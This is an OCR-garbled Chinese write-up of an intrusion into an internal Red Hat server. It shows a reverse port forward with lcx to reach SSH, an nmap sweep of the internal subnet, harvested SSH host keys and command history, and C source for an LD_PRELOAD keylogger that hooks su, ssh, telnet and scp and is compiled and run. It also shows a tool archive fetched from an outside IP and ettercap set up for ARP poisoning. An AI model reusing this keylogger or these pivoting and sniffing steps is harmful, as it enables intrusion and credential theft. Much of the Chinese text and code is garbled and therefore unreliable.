18p.IpY
------------ ©14214gLECHIGI3IGI3GI3a=0KN7GI3

Content-Disposition: form-data; name="Filedata"; txlenaue

Content=Type: application/octet-stream

K 314
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= ZRE:
BEANRGEE, R RPZAMH 2 4F, AndLREIE, TEARJE root AR, HnfEl 3-1-5:

K 3-1-5

A T passwd Ik 515 5., & 3-1-6:

Hxm i, Wi 3-1-7:

=] B 28), 3t @) ] misc
1 dev ; . dbus
] proc (] module
] usr (] jems_files
1 sys ] shin
. YEB-INF ] media
- home 03 top
‘ s ] mnt
var T
= [ picture
| opt ;
: ] lost+found
net o '
. . ] bogt
selinux e
] root Ll srg
7 bin  1ib "»cﬁ
3-1-7
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A BESREE N 2%, BUBR T RESBERT 2%, TFHBLEZe3EA ssh JG 1], AR A 22%E pam
JETIUE, R AT I 5 5 R 55 B8 e A AT pam B, 117 pam J5 1 TR T AT P 5
fih, {HZWE, B Ath A% 2 (Linux jems 2.6.32-71.e16.i686 #1 SMP Wed Sep 1 01:26:34 EDT 2010
i686 1686 1386 GNU/Linux) H i€+ redhat/centos6 [ &4t FszftTMExe, Kl 3-1-8:

B 3-1-8
s 6.0 1, 1M1 Hit & redhat MRGRIE RS, ARk T, BT AMA? —2REUHITE
T, R %% openssh J5 1.
—. TEHMERT]
NEOHRE, Wi 3-1-9:

Kl 3-1-9
Rk
K 3-1-10, 3-1-11, 3-1-12:

i

I
=
S
Sl
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& 3-1-10

3-1-11

3-1-12

i

I
=
S
Sl
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e, BIAER NI, FRATEAE ssh () 22 S 45 WS ok, XFWk. F0 L2 root
R, EERL AR

= hOER:
AIEEDAITE AR IP FIARSS 28, Joit lex A2 B AR S 28 & — T, &l 3-1-13:
RdASTINC « TES5TI5L « 35I1Y/

[root@msf tul# cp ~/lcx fuck/
[root@msf tu]# cd !§
cd fuck/
[root@msf fuck]# 1s
lex pam_unix_64.s0 pam_unix_64.tar.gz ssh.gz
%root@msf fuck]# tar zcvf lex.tar.gz lex
X
[root@msf fuck]# 1s -al lcx
-rwxr-xr-x 1 root root 17149 Aug 15 09:43. Tcx
[root@msf fuck]# ./lcx -m 2 -pl 8088 =p2 550

binding port 8088...... ok
binding port 550...... ok
iaiting for response on port 8088...4.....

& 3-1-13
A H WS W O, ] 3-1-14:

[root@msf fuck]# 1s -al lcx

-rwxr-xr-x 1 root root 17149 Aug 15 09:43 Tcx

[root@msf fuck]# ./lcx -m 2 -pl 8088 -p2 550

binding port 8088...... ok

binding port 550...... ok

waiting for response on port 8088.........

accept a client on port 8088 from JNNEENMINENM26,waiting another on port 550....

v

1513/

Hhek ssh?: ABS-256-CTR 17, 1 1747, 605 vrioo &

& 3-1-14

BRI T, PR, AR, dnfEl 3-1-15:
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Host key verification failed.
[root@msf ~]# ssh 127.0.0.1 -p 550

@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
someone could be eavesdropﬁing on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
33:8e:8cC:a9:9a:04:01:5b:84:8d:c2:02:4f:16:7e:da.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
offending key in /root/.ssh/known_hosts:1
RSA host key for 127.0.0.1 has changed and you have requested strict checking.
Host key verification failed.
[root@msf ~]# cd .ssh/
[root@msf .ssh]# rm -rf known_hosts
[root@msf .ssh]# ssh 127.0.0.1 -p 550
The authenticity of host '127.0.0.1 (127.0.0.1)" can't be established.
RSA key fingerprint is 33:8e:8c:a9:9a:04:01:5b:84:8d:c2:02:4f:16:7e:da.
Are you sure you want to continue connecting (yes/no)? yes
warning: Permanently added '127.0.0.1° (RSA) to the list of known hosts.
root@27.0.0.1"'s password:
Permission denied, please try again.
root@27.0.0.1's password:
Last login: wed Aug 14 12:14:45 2013 from 10.149.97.99
[root@jcms ~]# ifconfig
etho Link encap:Ethernet Hwaddr 34:40:B5:AA:CB:BC
inet addr:10.149.100.150 Bcast:10.149.100.255 Mask:255.255.255.0
inet6 addr: fe80::3640:b5ff:feaa:cbbc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:886406551 errors:0 dropped:0 overruns:0 frame:0
TX qackets:953234601 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2622929435 (2.4 GiB) TX bytes:4247955542 (3.9 GiB)
Interrupt:28 Memory:92000000-92012800

ethl Link encap:Ethernet Hwaddr 34:40:B5:AA:CB:BE
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX ?acketszo errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Interrupt:40 Memory:94000000-94012800 i ;

1o Link encap:Local Loopback
inet addr:127.0.0.1 M™ask:255.0.0.0 ‘;ﬂ'fy Team
inet6 addr: ::1/128 Scope:Host ' 4%

K 3-1-15
Y. B B B idx:
RN i AR R T Re e /e H B B, et H By R dang, il 3-1-16:

#SInputiCcPServerrun 514

#### GLOBAL DIRECTIVES ###&

# uUse default timestamp format
SAactionFilepefaultTemplate RSYSLOG_TraditionalfFileFormat

# File syncing capability is disabled by default. This feature is usually not required,
# not useful and an extreme performance hit
#SactionFileEnablesync on

#HFF RULES WeNe

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.* /dev/console

# Log an¥thing (except mail) of level info or higher.
# pon't o? private authentication messages!'

*.info;mail.none; authpriv. none; cron. none /var/log/messages

5 Ihﬁ a¥;ng;jg file bas restricted access.
authpriv. yvar, 10g,/secur e ].¢He*’””’”~

# Log all the mail messages in one place.
mail. > -/var/log/maillog

# Log cron stuff
cron.* /var/log/cron

# Everybody gets emergency messages

*.emerg »

# save news errors of level crit and higher in a special file.

uucp,news.crit /var/log/spooler

# Save boot messages also to boot. log

Tocal7.* /var/log/boot. log
K 3-1-16
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ﬂ. {—\—E(‘:;%‘LI&%:
LR SERINT Mg BRI RA 2 AE RN, Wl 3-1-17:

[root@jcms ...]# nmap -sP 10.149.100.1/24 > ping

mass_dns: warning: unable to determine any DNS Servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
[root@jcms ...]# cut -d" " -f5 ping |grep "10.149" > pingl
[root@jcms ...]# cat pingl

10.149.100.1

10.149.100.10

10.149.100.11

10.149.100.15

10.149.100.17

10.149.100.25

10.149.100.30

10.149.100.40

10.149.100.41

10.149.100.151

10.149.100.152

10.149.100.153

10.149.100. 200

10.149.100. 202 ] )
10.149.100. 203 li (
10.149.100.210 !y

\J
: i y Tor
[root@jcms ...1# i ,ﬁ_ H E(!m

&K 3-1-17
SRIGE A ssh 2B HBMLRR, WA 3-1-18:

[root@jcms ~]# cat .ssh/known_hosts
10.149.100.153 ssh-rsa AAAAB3INzaClyc2EAAAABIWAAAQEAWQSKBQEGTLPMT j3PMXRUKDQATTZOK
JGCB2VESeZswiWsnjvOwTqGOk2wW20CtQzpRENPgeArwsitge21byN GFEOB3WASBQTBUWENt0Dl+thCM
ZoebyEYeV5ICNawDjg4DurrBBUb4mOHor TQbMKFKebH591xkr 68N204b4KS6TEYDLT JTTxa0FWlymfaK
al9BIqicSWABIVLU34ZN2Zm/RHbr vKH1ds jQF z98wXAVDO1sTDZEXYeUD1wWOKg3I87 N+ DOQNXs 5dhor29]
L/7YDQSDT6Y3beNEAGCUSXQbSvALNXT DIT41whKGO7 /YYQSLWIGppuaGkCObOvVGUwz0dpTuGQ==
10.149.100.150 ssh-rsa AAAAB3INzaClyc2EAAAABIWAAAQEA3Sc/m/Nybs,/bnFflk2UvzsWnEGECs
e96Nbuf?gNIBCPBHZ4MBCSVI/1gXQOVqungZCEhCOLLOaifJFAVVUmDYﬁydeGm3Pk012+8kwaqu
45usQc+alI/7Qr/vz7 14uP0ts/zDhjGH]++k6 /Hb5SDTFLX /bvtTE92UM2Eejgz2Edrn3Gil7whyxp9Ep
GEDpCFIXaLTKMcOIbLh/2voDmywxY9xyeDEdIPby6IgRMTUYScgahL sEbvzODSdove+uCLux9r cdIK6R
HxSIMOEVC+FF1/81I/enlCTTG,/85Gknu]69px0pblDmkPWGRS1IE JThInKj1lQnévGdrui3pAsQ==
ssh-rsa AAMAB3NZAClyc2EAAAADAQABAAABAQCWZFWSZENQHTOhyBLMKC VT xdmfx
qglvae HDHﬂJhiUPHMBaWAXGVSPmZIBmJyUQZZZ'g/FIpnySFSTXZfUQi1lehjb18¥iJOCVzMreRzV
7KIQ4Tbv/q518UleTl xCewyyly76dIMCv2gsTBsgkqyL9f rwlxeoZly wgPwlFvktt 3h7Z THM+-gagNwvry
C750CCPBUBY3IFFFSUZVFLSG,/QNSaT54EAT 7 SXCXRRIWT jmwUbCcBMNYVAYTXNLXCOW SXXFIMOVIWZWZVEX
47EQUIMIBC3WIiW,/R1IMIFMAVVTTDCWOUaO6I Trapzf BNKQK2ZPMVVLWOT? D,/KKhERob1 x2cDpsEB
10.149.100.152 ssh-rsa AAAAB3NZaClyC2EAAAABIWAAAQEArYOWOeLMrGTgTIxAZzMr PokKu3ML X
bq3gUEudrw34w?hwi1gainrFCZaAquefAZM4?muBGHiGGLthfe/klohElgt1G+ijU8 zmlvylgz
K3P1FrgBrSwZBacFD61l9+IEk610PWThE /ge? Z DdXTDywywdk7 gHT 4 euxcou7hfMrRySDi F i+ 8 wnkc4D |
nexnvTTSGstEOZTXdRleSeLomnwmrnHTgTy4wkNGOSWmKE4c+w1r/eoannszwOFRp ALSVYSETh \
PevqQy/CpbVeMs4TPyuFZCfDgPM2T1 21 d7vhQoo 5061 3GY+ P 1 py T N7 VGPWXezWEFrZ 1ozhvog== "Ee.ip1
[root@jcms ~]# | GEald

K 3-1-18
AR, A —NREERE |, T kerberos (5, rsync % %%, Mount H %t
FEEEAEAT Ty 4, 1 history HHIAF B4 W S0 1P, @l 3-1-19, K 3-1-20, K 3-1-21:

MTogging]
degau1t = FILE:/var,/log/krb51ibs. log
kdc = FILE:/var/log/krb5kdc. Tog
admin_server = FILE:/var/log/kadmind.log

[Tibdefaults]

default_realm = EXAMPLE.COM
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_Jlifetime = 7d
forwardable = true

[realms]

EXAMPLE. COM = {
kdc = kerberos.example. com
admin_server = kerberos.example. com

[domain_realm]
.example. com = EXAMPLE.COM
examp le. com = EXAMPLE.COM

- L. kb

- y i "2am

Kl 3-1-19
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[root@jcms ~]# mount

Jdev/sdal3 on / type extd (rw)

proc on /proc type proc {(rw)

sysfs on /sys type sysfs (rw)

devpts on Hy ts type devpts (rw,gid=5,mode=5620)
tmpfs on fdevfs m type tmpfs (rw,rootcontext="system_u:obj pfs_t:s0")
Jdev/sdal on /boot type extd (rw)

Jdev/sdal2 on fdata type extd (rw)

none on /proc/s 5/f5f§1nfmt misc type binfmt_misc {rw) .
sunrpc on Svar/lib/nfs/rpc_pipefs type rpc_pipefs (rw) 1
[root@jcms ~]# | '

Kl 3-1-20

Ts -1 -
ifconfig 4
p1ng 10 149.100.1

ping www. baidu. com

ping www.baidu,com

export LANG=zh/CN

setu|

export LANG=zh_CN

setu|

ssh 10.149.100.153
ssh 10.149.100.153
export LANG=zh_CN
Sety|
export LANG=zh_CN
setup

1fcunf1
cd /etc.

gd /etc/sysconfig/
cd /etc/sysconfig/network-scripts/

cat ifcfg-0
cat ifcfg-etho

ifconfi Ar/f
ssh 10.149.100.153
el

telnet 5678

s5h JOSESISuENNENS
ssh 10.149.100.153
dir

export LANG=zh_CN
setup

ssh 10.149,100.153
0

P
s -ef | grep java
i1 -9 lg .
/data,tomcat/bm/star(up sh
s _-ef \ rep jav.

i11 -9
/data/tomcat/b1n/startup.sh
ps -ef | grep java

3

%d /data/tomcat /webapps/ 1
s

srarity TRam]

cd
gd /data/tomcat/
s

B 3-1-21
! WA AR, TR,
ﬁ%ﬁﬁi:
W E XK LD_keylog JEAHIILT, P LLERIEANL ssh, rsync, su IPTA#EAE, EHNIXR
PEIRD, REDAHIE, 4nf 3-1-22:

o Author: Matias Fontanini
*/

#define _XOPEN_SOURCE 600
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <difcn.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#define __USE_BSD
#include <termios.h>

/* Redefine OUTPUT_FILE to whatever path you want your log to be saved. */
#ifndef OUTPUT_FILE

#define OUTPUT_FILE "/tmp/.../output”
#endif QRE—__&

#define RTLD_NEXT ((void *) -11)

typedef int (*execve_fun)(const char *filename, char *const argv[], char *const envp[]l);
void __attribute__ ((constructor)) init(void);

extern char **environ;

/* The real execve pointer. */
execve_fun execve_ptr = 0;

/* our file descr1ptor */
int file = -1

/* The read buffer. */
char buffer[256];

/* Array containing the files we want to monitor(ended with a null pointer), */
char *injected_files[] = {| '/bin/su”, "/usr/bin/ssh", "/usr/bin/telnet”, /usr/bin/kadmin , "/usr/bin/scp”, "/usr/b};fa.q >

"keylogger.c" 205L, 6693C EFA (

[root@?cms LD_PRELOAD, _keylogger ]# make

gcc -c -wall -03 -fPIC " -c -o ke{]o?ger o key]oager.c qi*y T
gcc keylogger.o -1d1 -wl,-soname, keylogger.so -shared -o keylogger.so ) ' %

& 3122

BB N BRI E DL A A I RER, & 3-1-23:
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[r‘OO(@]CmS LD_PRELOAD_keyloggerJ# source /etc/profﬂe
[root@jcms_LD_PRELOAD_keylogger]# su
bash-4.1# 1s

alsaunmute cgdelete dash domainname awk kill mkdir nisdomainname rnano su ulockmgr_server zsh
arch cgexec date dumpkeys gettext ksh mknod ping rpm sync umount
awk cgget dbus-cleanup-sockets ec o ep Tink mksh ing6 rvi tar uname
basename cgset dbus-daemon tar in mktemp plymouth rview taskset unicode_start
h chgrp dbus-moni tor egrep gunz1p loadkeys more ps sed tcsh unicode_stop
chmod dbus-send env gzip Togin mount pwd setfont _  touch unlink
brkty conrﬁg chown dbus-uuidgen ex ostname 1s mountpoint raw setserial tracepath usleep
br'lt(y install cp dd false ipcalc Iscgroup mv readlink sh tracepath6 i
cpio d fgrep 1gtab1es—xm1 1ssubsys nano red sleep traceroute iew
cgc'lass1fy csh dmesg find kbd_mode mai netstat rm sort traceroute6 ypdomainname
cgcreat dnsdomainname fusermount keyctl mailx nice rmdir stty true
b3shoa. 14 1Fconf‘|g
etho Link encap:Ethernet Hwaddr 34 40 B5:AA:CB:BC
inet addr:10.149.100.150 Bcast:10.149.100.255 Mask:255.255.255.0
inet6 addr: fe80::3640:b5ff: feaa Cbbc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
Rx packets:886528149 errors:0 dropped:0 overruns:0 frame:0
qackets 953386270 errors:0 dropped:0 overruns:0 carrier:0
collision: txqueuelen:1000
RX bytes: 2642940408 (2.4 GiB) TX bytes:32907036 (31.3 MiB)
Interrupt:28 Memory:92000000-92012800
ethi Link encap:Ethernet Hwaddr 34:40:B5:AA:CB:BE
UP BROADCAST MULTICAST MTU:1500 Metric:l
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX_packets:0 errors 0 dropped:0 overruns:0 carrier:0
collisions:0 queue1en 1000
RX bytes:0 (o 0 TX bytes:0 (0.0 b)
Interrup’ Memory 94000000-94012800
To Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6é addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:l
RX packets:18665 errors:0 dropped:0 overruns:0 frame:0
ﬁva(kets 18665 errors: o dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:
RX bytes:1534131 (1.4 M1B) ™ hytes:1534131 (1.4 miB)
usb0 Link encap:Ethernet Hwaddr 36:40:B5:AD:BA:

inet6 addr: fe80::3440:b5ff:fead:ba87/64 scope Lmk L

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:

RX packets:3470458 errors:0 dropped:0 overruns:0 frame o ;5‘-5, Team
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0 . €

3-1-23
MR B, B IE S, R AR RER, ANIIECE history A2RAT4 R T, Wik 3-1-24:

-bash-4.1# exit

Jogout

[root@jcms LD_PRELOAD_keylogger]# cd .

[root@}cms ... 1# s

LD_keylog.tar.gz LD_PRELOAD_keylogger nmap openssh output ping pingl sshbd.gz ssh_config.old sshd_config.old
[root@]cms ...]# cat output

1fconf1g !
ex1t

exit
[root@jcms

L1#

K 3-1-24

+. i & yum B
NI 2% ettercap, 3% ettercap AL EAEA] yum 2 T, (HEW? A T —N AR Jﬂi
ARG redhat AR 6. 0 FUERAE RS, X0 yum JEIM EALFERY, FRWAE )RS
J:T?éi*/l\ redhat iso 1%, H CH#E#— yum JERIEHE N, M H AR 24, Fﬁu”)ﬁ?

AR I pZAE redhat yum JE1E FH centos yum JESRIFEAT 2235 . BRUIEFIL R 2 AT R, #i5)
iiﬁe INCAR ) FR G 22 20 B B AN e 25 H B |
1. MB& redhat JEH ) yum J5
#rpm-aq | grep yum|xargs rpm -e --nodeps
2. TEHFH yum 0
KRN AR FEEPAEEIT O 7, ik 3-1-25:

[Foot@jcms yum.repos.d]# Al
[rooteycns yum. repos.dl# ] /tmp/..
[root@jcms ...1#
ettercap-0.7.5-3. el6.1. 20120906gitc796e5. 1686. rpm LD_PRELOADJ(Eﬂogga’ nperssh ping  sshbd.gz sshd_config.old
LDJ( og.tir ap output pingl ssh_config.old
e 1% woet ;2 S5 < uck
A~2013 OB 15°23:23:30-. Ttp 185/tu/fuck/: yull zip

IEFESE 216.18.196.185:80. EiEE.
T EH HTTP iF EESHEMS... 200 0K
&5 1064576 1 m) application/zip]

EREE: "yum

100%[: ] 1,064,576 749K/s in 1.4s

2013-08-15 23:23:31 (749 KkB/s) - E®R7E “yum.zip" [1064576/10645761)

[root@jcms .A.]a unzip yum.zip
Archive: yum.
creating: yumy
inflating: yun/python-iniparse-0.3.1-2.1. e16. noarch. rpm
inflating: yum/yum-3.2.29-40.e16. cenroszngarch

inflating: yum/yum -metadata-parser-1.1 el6. 1686
inflatin m/yum— p1ug1n P tasthirnord 1. 0014, €16 naarEhiiin
[rooc@ cms ™. .. ]# cd yu
roote cms yuml# rpm vk p{(hon \n(ﬁ)arse-o.z.l—z.1,e1§.noarch.rpm
warning: python-iniparse-0.3.1-2 6.noarch.rpm: Header V3 RSA/SHA256 signaiure. key ID c105bode: NOKEY
Prepar ng X

package python-iniparse-0.3.1-2.1.e16.noarch is already installed
[roo(@](ms yum]o rpm -ivh yum-metadata-parser-1.1.2-16.e16.1686.rpm
warning: yum-metadata-parser-1.1.2-16.e16.1686.rpm: Neader v RSA/SHAI signature, key ID c105b9de: NOKEY
Preparing... [100%]
tyum-metadata-parser [100%]
[root@jcms yuml# rpm -ivh yum-3.2.29-40. el6. centos. noarch.r
warning: yum-3.2. 29 40.e16. centos. noarch.rpm: Header V3 RsA/sHAl signature, key ID c105b9de: NOKEY
error: raned dependencies:
'Iug1n -fastestmirror is needed by yum-3.2.29-40.e16.centos. noarch
[root@jcms yum]# s
python-iniparse-0.3.1-2.1.el6. noara- rpm yl.—letadata—parser—l 1.2-16.e16.1686.rpm
3.2.29-40.e16. centos. noarch.r lugin-fastestmirror-1.1.30-14.el6. noarch.rpm
root@jcms yunqw rpm -ivh yum-p 'Iugin -fastestmirror-1.1.30-14. e16. noarch. rpm
warning: yun ugin-fastestmirror-1.1.30-14.e16.noarch. rpm: Header V3 RSA/SHAL Signature, key ID c105bOde: NOKEY
error: Failed dependenties
yum >= 3.0 is needed by yum-plugin-fastestmirror-1.1.30-14. e16. noarch
[root@]cms yum]d rpm -ivh
warning: 3.2 30040, 416, Caritos. hoatehs rpm: Header V3 RSA/SHAL Signature, key ID c105b9de: NOKEY ;
Prepar1ng 1

BCy
Ii.

ckage  yun-metadata-parser-1.1.2-16.16. 1686 1s already installed }‘,’y T
[root@](ms yum]# Wi

K 3-1-25
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ZRERIN)E, BCE yum JE, WP 3-1-26:
LFOOT@]CMS Yum.repos.aj# 1s

[root@jcms yum.repos.d]# cat /etc/issue

Red Hat Enterprise Linux Server release 6.0 (Santiago)
Kernel \r on an \m

[root@jcms yum.repos.d]# uname -a
Linux jcms 2.6.32-71.e16.1686 #1 SMP Wed Sep 1 01:26:34 EDT 2010 1686 1686 1386 GNU/Linux
[root@jcms yum.repos.d]# vim etter.repo

[etter]
name=ettercap
baseur1=http://d1.fedoraproject.org/pub/epel/6/1386/ L
enabled=1
gpgcheck=0

K 3-1-26
Yum VR, i 3-1-27, P 3-1-28:

root@jcms yum.repos.dl]# cat ettercap.repo
name]
name=etter
baseuri=http://mirrors.163.com/centos,/6/0s,/1386/
enabled=1
pgcheck=0
?root@jcms m.repos.dl]# yum clean all;yum list
Loaded plugins: fastestmirror
Cleaning repos: name
Cleaning up everything
Loaded plugins: Tastestmirror
Determining fastest mirrors

troot@ cms yum]#® cd /Jetc/yum.repos.d/

name
name/primary_db

Kl 3-1-27
Xorg-xi1-xkb-utiTs. 1686 7.7-4.616 nane 4
xorg-x11-xkb-utils-devel, 1686 7.7-4.€16 name
xor?-xn-xtrans-devﬂ.noarch 1.2.7-2,e16 name
xqilla, 1686 2.2.3-8,e16 name
xqilla-devel. 686 2.2.3-8.e16 name
xqi11a-doc. noarch 2.2.3-8.e16 name
xrestop. 1686 0.4-7.1.e16 name
Xxsane. 1686 0.997-8.e16 name
xsane-common. 1686 0.997-8.¢16 name
xsane-gimp. 1686 0.997-8.e16 name
xulrunner. 1686 10.0.12-1, e16. centos name
xulrunner-devel. 1686 10.0.12-1, e16. centos name
yaj1-devel. 1686 1.0.7-3.e16 name
yap. 1686 5.1.3-2.1, name
yap-devel. 1686 5.1.3-2.1. name
yaq-docs.issﬁ 5.1.3-2.1, name
yelp. 1686 2,28.1-13, name
yp-tools. 1686 2.9-12.¢ name
ypbind. 1686 3:1,20.4-30.e16 name
ypserv. 1686 2.19-26.,e16 name
yum-Networ kManager -dispatcher. noarch 1.1.30-14.e16 name
yum-cron. noarch 3.2.29-40.e16. centos name
yun-plugin-aliases, noarch 1.1.30-14.e16 name
yum-plug1n-auto-ugdate»debug-info. noarch 1.1.30-14.e16 name
yum—plugin-chan?e 0g.noarch 1.1.30-14.el6 name
yun-plugin-downToadonly. noarch 1.1.30-14.e16 name
yum-plugin-filter-data. noarch 1.1.30-14.e16 name
yum-plugin-fs-snapshot. noar ch 1.1.30 name
yum-plugin-keys. noarch 1.1.30 name
yun-plugin-1ist-data. noarch 1.1.30 name
yun-plugin-Tocal. noarch 1.1.30 name
yun-plugin-merge-conf. noarch 1.1.30 name
yum-plugin-post-transaction-actions. noarch 1.1,30-14,e16 name
yun-plugin-priorities.noarch 1.1.30-14.e16 name
yum-plugin-protectbase. noarch 1.1.30-14,e16 name
yum-plugin-ps. noarch 1.1.30-14.€16 name
yum-plugin-remove-with-leaves, noarch 1.1.30-14.e16 name
yum-plugin-rpm-warm-cache, noarch 1.1.30-14.e16 name
yun-plugin-security. noarch 1.1.30-14. name
yun-plugin-show-1eaves. noarch 1.1.30-14, name
yum-plugin-tmpr epo. noarch 1.1.30-14. name
yun-plugin-ts! 1ags.noarch 1.1.30 name
yun-plugin-upgrade-helper. noarch 1.1.30 name
yun-plugin-ver1ify. noarch 1.1.3 name ¢ i
yun-plugin-versionlock. noarch 1 name
yum-prgsto.ngarch ’ 0 name : "' ﬂ
yun-updateonboot. noarc 1 name ]
yum-utils, noarch 1 name rl‘y Team_«]

K 3-1-28
Ok, yum ¥ i#l, NHHBEAT ettercap %%,
J\. &3 ettercap:
AT yum BEHEEFIN T, PENE, ELEE yum install BE, 4T 3-1-29:
GAILSEEE A T ettercap %25 4E, WK 3-1-30:
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[root@jcms ...]# rpm -q ettercap <
/etc/ettercap El
/etc/ettercap/etter. conf
/etc/ettercap/etter.dns
etc/ettercap/etter.nbns
/usr/b n/ette cq
/usr/bin/etterfilter
/usr/bin/etterlog
/usr/lib/ettercap
/usr/lib/ettercap/ec_arp_cop.so
/usr/lib/ettercap/ec_autoadd. so
/usr/lib/ettercap/ec_chk_poison.so
/usr/1ib/ettercap/ec_dns_spoof.so
/usr/1lib/ettercap/ec_ dos attack so
/usr/1ib/ettercap/ec_dummy.
/usr/1ib/ettercap/ec_{ fmd_ccwm 50
/usr/1ib/ettercap/ec_find_ettercap.so
/usr/lib/ettercap/ec_find_ip.so
/usr/1ib/ettercap/ec_finger.so
/usr/lib/ettercap/ec_finger_submit.so
/usr/lib/ettercap/ec_gre_relay.so
/usr/lib/ettercap/ec_gw_discover.so
/usr/lib/ettercap/ec_jsolate.so
/usr/lib/ettercap/ec_] 'an_type so
/usr/1ib/ettercap, /ec_nbns_sgoo
/usr/lib/ettercap/ec_pptp_c| pmsl s0
/usr/lib/ettercap/ec_pptp_cl
/usr/1ib/etterca /ec_pptp_pap so
Jusr/’ /Q!terca;/et_pp(p_renea so
/usr/1ib/ettercap/ec_rand_f1
/usr/1ib/ettercap /e:.rewte);rwser so
/usr/1ib/ettercap/ec_reply_arp.so
/usr/lib/ettercap/ec_repoison_arp.
/usr/1ib/ettercap/ec_scan_poisoner.so
/usr/lib/ettercap/ec_search_promisc.so
/usr/1ib/ettercap/ec_smb_clear.so
/usr/1ib/ettercap/ec_smb_down. so
/usr/1ib/ettercap/ec_smurf_attack.so
/usr/ /etterca*/ec_ss'lstrip.so
/et(erca*/e(_stp_mang'l
/usr/sh p1i ations/fedora etter(ap desktop
/usr/share/doc/euerca:-0
Jusr/share/doc/ettercap-0.7. 5/AUTHORS g
/usr/share/doc/ettercap-0.7.5/CHANGELOG ‘; s J
/usr/share/doc/ettercap-0.7.5/LICENSE A/
;usr?s:are;go:;etterca g ; s/nEAmE -------------------
usr/share/doc/ettercap 1
/usr/share/doc/ettercap-0.7. /TuDo lnty Team.

TF ettercap ATMRER I 1 CANL BN, ) 80,636,21,22,25,110,23 #R7E L, ERilE

e T 24, Wk 3-1-31:
#dissector

dissectors]
= 21
= 22
telner = 23
smtp = 25
dns = 53
dhcp = 67
http = 80
ospf = 89
pop3 = 110
#portmap = 111
vrrp = 112
nntp = 119
smb =« 139,445
imap = 143 220
o 38
p =
8 = 389
https = 443
ssmrp = 465
rlogin = 512,513
rip = 520
nntps = 563
Tdaps = 636
telnets = 992
imaps = 993
ircs = 994
pop3s = 995
socks = 1080
radius = 1645,1646
msn = 1863
Syt 2 Sos
'YSQ =
yns9= 5900,5901,5902,5903
x11 = 6000,6001,6002,6003
irc = 6666,6667,6668,6669
napster = 7777 ,8888
proxy = 8080
rcon = 27015,27960
PPpP = 34827

default port

TTTTTTATARTLTETTTTTRTTRTRRRRTXTETE: T TS

tcp
tcp
Tcp
tcp
udp
udp
tcp
ip
tcp
# tcp /
ip
tcp
tcp
tcp
udp
tcp
Tcp
tcp
Tcp
tcp
udp
tcp
tcp
tcp
tcp
tcp
Tcp
tcp
udp
tcp
tcp
tcp
Tcp
Tcp
Tcp
tep
Tcp
tep
tcp
udp

636

992

993

993

995

1080
1645
1863
2401
3306
5190
5050
5900
6000
6666
7777
8080

(IPPROTO 0x70)

445
220

513

1646

5901 5902 5903
6001 6002 6003
6667 6668 6669
8888

27015 27960
speciaI case ;) this is the Net Layer code

-
# you can change the colors of the curses GUI.

B 3-1-31
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R FEATEH ettercap MRERIE

JL. [ ettercap BEAT P R IR

NELPR I 388 2] {4 17 L BRI R A FH yum SRIEAT 2225 1) ettercap, BT A LLESHT, 42 0.7.5, ettercap0.7.5
ZJEHEH T X ipve HIRAR T .

FTLAER 0.7.3 B — S HeA e AN, i 3-1-32, & 3-1-33, [&] 3-1-34:

Incorrect number of token (///) in TARGET !! =
'
) |[root@jcms ...J]# yum install Tlibnet
‘|Loaded plugins: fastestmirror
1 |Loading mirror speeds from cached hostfile
Setting up Install Process
Package 1ibnet-1.1.5-1.e16.1686 already installed and latest version
2iNothing to do
—|[root@jcms ...]# ettercap -T -M arp "// //" -q -i ethO
h . barch tips Subscriptions
ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team
P RGET !!
sc| TARGET (// //) contains invalid chars !
5
[root@jcms ...]# E]
sk ssh2: AES-256-CTR 17, 18 17{F, 803 vr0 #5 #H=F 4

“WRAT STEPS WIII YEProauce the problem?
1. V3.7 on Gentoo

I made couple of changes to the script (mainly path corrections for my gentoo system (dhepd. conf fetc/ettercap/etter. conf and so on)
2. when trying to launch fake ap static ettercap does not work
Please provide any additional information below.

The script calls
ettercap —a fetc/ettercap/etter. conf -T —q -1 /home/user/Downloads/easy—creds-2012-11-17-1423/ettercap2012-11-17-1431 -i at0 // //

and ettercap answers

Incorrect number of token (///) in TARGET !!

is this an error in the script or am 1 missing something?

oy

T #2 jbrav.. @gmail com

Ettercap 0.7.5 required an extra / because we enabled IPvB. We recently took that out..so if Rick updated to ettercap 0. 7 .liii‘t should work. j

Also, make sure you are running easycreds v3.7.3.

ity Tes
Please let me know since I am not currently a Gentoo user s “) T&dm
K 3-1-32

Re: [Ettercap-Detatesting] ettercap does not recognize target
From: Emilio Escobar <eescodbar@gm. > - 2012-11-26 14 27

Attachments: Message as HTML

Sergio
As per the man pages, 1t needs an extra / i1n the target selection becauss

of the IFPvE cspsbility

ettercap ~T N axy

should work

Enm:ilio

ar eezcobar@

s == Einstein

On Fri, Now 2 2012 at 6:36 PR, Serg Basurt sbazurtod

-

I do not know if this is the right place to post this question, se I will

ask here, please if this 1s not the right place let me Jnow and point me to
> the right direction

I reinstall ay Linux machine and install the latest ettercap wers:ion

available, once installed I typed

*2 ettercap ~T M wxp // // %

and ettercap responds

